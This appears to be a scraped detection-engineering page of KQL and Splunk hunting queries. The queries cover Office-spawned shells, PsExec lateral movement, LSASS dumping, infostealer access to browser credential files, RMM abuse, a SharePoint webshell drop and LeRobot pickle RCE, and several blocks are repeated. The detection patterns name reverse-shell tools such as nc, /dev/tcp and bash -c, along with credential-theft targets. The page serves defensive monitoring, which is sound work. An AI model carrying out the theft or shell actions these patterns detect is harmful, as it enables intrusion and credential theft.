by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] ToolShell SharePoint RCE: spinstall webshell drop in LAYOUTS directoryInstallationHigh
Hunts the post-exploitation file-write stage of the ToolShell chain (CVE-2025-53770/53771) called out in the Talos YiR as an example of instant weaponisation. Detects creation of spinstall/spupdate/SpLogoutLayout/SP.UI.TitleView .aspx files in the SharePoint LAYOUTS directory regardless of whether the parent w3wp launched PowerShell.
Rationale: Talos calls out ToolShell as the canonical 'instant exploit' example. Microsoft, Unit42 and Trellix all confirm spinstall*.aspx in the LAYOUTS folder and SHA256 92bb4ddb… as the dropped web shell — pure file-write so it survives even if the actor has switched away from the cmd /c powershell -enc pattern that other rules already cover.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/
• https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/
• https://www.trellix.com/blogs/research/toolshell-unleashed-decoding-the-sharepoint-attack-chain/
ATT&CKT1190T1505.003
Data sourcesEndpoint.FilesystemWeb
DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath has @"\TEMPLATE\LAYOUTS\"
| where FileName matches regex @"(?i)^(spinstall|spupdate|SpLogoutLayout|SP\.UI\.TitleView).*\.aspx$"
| extend ToolShellKnownHash = iif(SHA256 == "92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514", "yes", "no")
| join kind=leftouter (
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName =~ "w3wp.exe"
| where RemoteUrl has "/_layouts/15/ToolPane.aspx" or RemoteUrl has "DisplayMode=Edit"
| project DeviceId, ToolPaneTime=Timestamp, RemoteIP, RemoteUrl
) on DeviceId
| project Timestamp, DeviceName, FolderPath, FileName, SHA256, ToolShellKnownHash, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\TEMPLATE\\LAYOUTS\\*" (Filesystem.file_name="spinstall*.aspx" OR Filesystem.file_name="spupdate*.aspx" OR Filesystem.file_name="SpLogoutLayout*.aspx" OR Filesystem.file_name="SP.UI.TitleView*.aspx") by Filesystem.dest Filesystem.file_path Filesystem.file_name Filesystem.file_hash Filesystem.process_name Filesystem.user | `drop_dm_object_name(Filesystem)` | eval toolshell_known_hash=if(file_hash=="92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514","yes","no") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Adversary-registered MFA method followed by sign-in from same new deviceActions on ObjectivesMedium
Targets the 178% YoY rise in device-compromise attacks and the specific Talos finding that adversaries register their own devices as trusted MFA methods to persist after credential theft. Correlates an Entra security-info / device registration event with a successful MFA-satisfied sign-in from the freshly-registered device or its source IP within an hour.
Rationale: Talos explicitly highlights attacker-registered MFA devices and 178% YoY device-compromise growth. MITRE T1098.005 detection-strategy DET0036 and Elastic Security Labs both recommend correlating the AAD audit 'register security info / device' events with the very next MFA-satisfied sign-in from the same IP — ties the persistence step to its first abuse rather than alerting on every legitimate enrolment.
Cross-checked against:
• https://attack.mitre.org/techniques/T1098/005/
• https://attack.mitre.org/detectionstrategies/DET0036/
• https://www.elastic.co/security-labs/entra-id-oauth-phishing-detection
ATT&CKT1098.005T1556.006T1078.004
Data sourcesChangeAuthentication
let window = 14d;
let regs = CloudAppEvents
| where Timestamp > ago(window)
| where Application in ("Office 365", "Microsoft Entra ID", "Azure Active Directory")
| where ActionType in~ ("User registered security info", "Register device", "Add registered owner to device", "Add registered users to device", "Update user")
| extend Target = tostring(parse_json(tostring(RawEventData.Target))[0].ID)
| extend RegIP = IPAddress
| project RegTime=Timestamp, AccountObjectId, AccountUpn=AccountDisplayName, RegIP, RegAction=ActionType;
let signins = AADSignInEventsBeta
| where Timestamp > ago(window)
| where ErrorCode == 0
| where AuthenticationRequirement == "multiFactorAuthentication"
| project SignInTime=Timestamp, AccountObjectId, SignInIP=IPAddress, Country, DeviceName, Application, ResourceDisplayName;
regs
| join kind=inner signins on AccountObjectId
| where SignInTime between (RegTime .. RegTime + 1h)
| where SignInIP == RegIP
| project RegTime, SignInTime, AccountUpn, RegAction, RegIP, SignInIP, Country, DeviceName, Application, ResourceDisplayName
| tstats summariesonly=t count min(_time) as regTime from datamodel=Change where Change.change_type="AAD" (Change.action="User registered security info" OR Change.action="Register device" OR Change.action="Add registered owner to device" OR Change.action="Add registered users to device") by Change.user Change.src Change.object | `drop_dm_object_name(Change)` | rename user as reg_user, src as reg_src | join type=inner reg_user [| tstats summariesonly=t count min(_time) as authTime from datamodel=Authentication where Authentication.action=success Authentication.signature="UserLoggedIn" Authentication.authentication_method="MFA" by Authentication.user Authentication.src Authentication.app | `drop_dm_object_name(Authentication)` | rename user as reg_user, src as auth_src] | where authTime>=regTime AND authTime<=regTime+3600 AND reg_src=auth_src
2026-04-284 use cases1 technique5 kill-chain phases detected
Learn how Microsoft Sentinel UEBA helps defenders distinguish benign AWS activity from attacker behavior by enriching raw CloudTrail logs with clear, binary behavioral signals derived from baseline user, peer, and device behavior patterns. The post Simplifying AWS defense with Microsoft Sentinel UEBA appeared first on Microsoft Security Blog .
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-287 use cases3 techniques6 kill-chain phases detected
Every security program is betting on the same assumption: once a system is connected, the problem is solved. Open a ticket, stand up a gateway, push the data through. Done. That assumption is wrong. It is also a major reason Zero Trust programs stall. New research my team just published puts numbers on it. The Cyber360: Defending the Digital Battlespace report, based on a survey of 500 security
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-287 use cases3 techniques6 kill-chain phases detected
Cybersecurity researchers have disclosed details of a critical security flaw impacting LeRobot, Hugging Face's open-source robotics platform with nearly 24,000 GitHub stars, that could be exploited to achieve remote code execution. The vulnerability in question is CVE-2026-25874 (CVSS score: 9.3), which has been described as a case of untrusted data deserialization stemming from the use of the
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-25874", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Hunts post-exploitation of CVE-2026-25874 where a malicious pickle payload sent to the LeRobot AsyncInference gRPC service (SendPolicyInstructions / SendObservations) executes via __reduce__ inside the policy_server.py process. Looks for child processes (shell, curl/wget, nc, python -c) spawning from a python interpreter whose command line invokes lerobot.async_inference.policy_server.
Rationale: Combines two article-specific anchors: parent cmdline must reference the lerobot.async_inference.policy_server module (the only place pickle.loads is reached on lines 127/185), AND the child must be a typical pickle-__reduce__ payload (os.system('sh -c ...'), curl, wget, /dev/tcp). Resecurity and Chocapikk's writeups both confirm exploitation runs commands directly inside that python process, so any shell/network tool child of it is high-fidelity. Cross-checked Resecurity and Chocapikk research blogs.
Cross-checked against:
• https://www.resecurity.com/blog/article/cve-2026-25874-hugging-face-lerobot-unauthenticated-rce-via-pickle-deserialization
• https://chocapikk.com/posts/2026/lerobot-pickle-rce/
ATT&CKT1190T1059.004T1203
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python","python3","python.exe","python3.exe")
| where InitiatingProcessCommandLine has "lerobot.async_inference.policy_server"
or InitiatingProcessCommandLine has "lerobot/async_inference/policy_server.py"
| where FileName in~ ("bash","sh","dash","zsh","curl","wget","nc","ncat","socat","perl","ruby","cmd.exe","powershell.exe")
or ProcessCommandLine has_any ("/bin/sh -c","bash -c","/dev/tcp/","python -c","python3 -c","-Encoded","base64 -d")
| project Timestamp, DeviceName, AccountName, InitiatingProcessCommandLine, InitiatingProcessId, FileName, ProcessCommandLine, FolderPath
